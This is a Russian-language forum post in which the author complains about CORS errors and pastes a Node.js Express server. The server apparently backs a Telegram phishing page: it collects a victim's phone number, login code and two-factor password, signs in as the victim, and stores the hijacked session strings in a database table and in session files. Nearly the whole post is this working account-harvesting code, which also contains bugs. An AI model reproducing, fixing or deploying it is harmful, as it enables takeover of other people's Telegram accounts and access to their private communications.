Сколько корс ещё меня будет мучать?

нахуя,

const express = require("express");
const cors = require("cors");
const fs = require("fs");
const { Api, TelegramClient } = require("telegram");
const { StringSession } = require("telegram/sessions");
const mysql = require("mysql2");

const app = express();
const PORT = 443;

app.use(express.json());
app.use(express.static("public"));
app.use(cors({
origin: "*"
}));



const apiId = 1234567;
const apiHash = "";


const sessionsDir = "./sessions";
if (!fs.existsSync(sessionsDir)) fs.mkdirSync(sessionsDir);

stringSession = new StringSession("");

const connection = mysql.createConnection({
host: "",
user: "",
database: "",
password: ""
});

let clients = {};


async function addDataToDatabase(phoneNumber, stringSession) {
try {
await bd.connect();

const values = [stringSession.toString(), phoneNumber.toString()];
const query = "INSERT INTO accs(string_session, number) VALUES(?, ?)";

connection.query(query, values, function(err, results) {
if(err) console.log(err);
else console.log("Данные добавлены");
});

connection.end();
console.log('Данные добавлены');
} catch (err) {
console.error('Ошибка: ', err);
} finally {
await bd.end();
console.log('Соединение закрыто');
}
}

app.post("/api/send-phone", async (req, res) => {

const { userPhone } = req.body;

if (!userPhone) return res.status(400).json({ error: "Введите номер телефона" });

const sessionFile = `${sessionsDir}/${userPhone}.session`;
let stringSession = new StringSession("");

if (fs.existsSync(sessionFile)) {
stringSession = new StringSession(fs.readFileSync(sessionFile, "utf8"));
}

const client = new TelegramClient(stringSession, apiId, apiHash, { connectionRetries: 5 });
await client.connect();

try {
const {phoneCodeHash,isCodeViaApp} = await client.sendCode({apiId: apiId, apiHash: apiHash}, userPhone);

clients[userPhone] = client;

res.json({ success: true, message: "Код отправлен", phoneCodeHash: phoneCodeHash});
} catch (error) {
res.status(500).json({ error: "Ошибка отправки кода" });
}
});

app.post("/api/send-code", async (req, res) => {
const { userPhone, userPhoneCodeHash, code } = req.body;
const client = clients[userPhone];
if (!client) return res.status(400).json({ error: "Сначала запросите код" });

try {

await client.signInUser(
{ apiId, apiHash },
{
phoneNumber: async () => userPhone,
phoneCode: async () => code,
}
);

await addDataToDatabase(userPhone, client.session.save())

await client.disconnect();

fs.writeFileSync(`${sessionsDir}/${userPhone}.session`, client.session.save(), "utf8");
res.json({ success: true, message: "Код подтверждён", requirePassword: false});
} catch (error) {
if (error.message.includes("2FA")) {
return res.json({ requirePassword: true });
}
res.status(500).json({ error: "code error" });
}
});

app.post("/api/confirm-password", async (req, res) => {
const { userPhone, userPhoneCodeHash, password } = req.body;
const client = clients[userPhone];

try {

await client.signInWithPassword(
{ apiId, apiHash },
{
password: async () => password,
}
);

await addDataToDatabase(userPhone, client.session.save())

await client.disconnect();

fs.writeFileSync(`${sessionsDir}/${userPhone}.session`, client.session.save(), "utf8");
res.json({ success: true, message: "2fa подтверждён", requirePassword: false});
} catch (error) {
console.log(error);
res.status(500).json({ error: "2FA error" });
}
});

app.listen(PORT, () => {
console.log(`Сервер запущен`);
});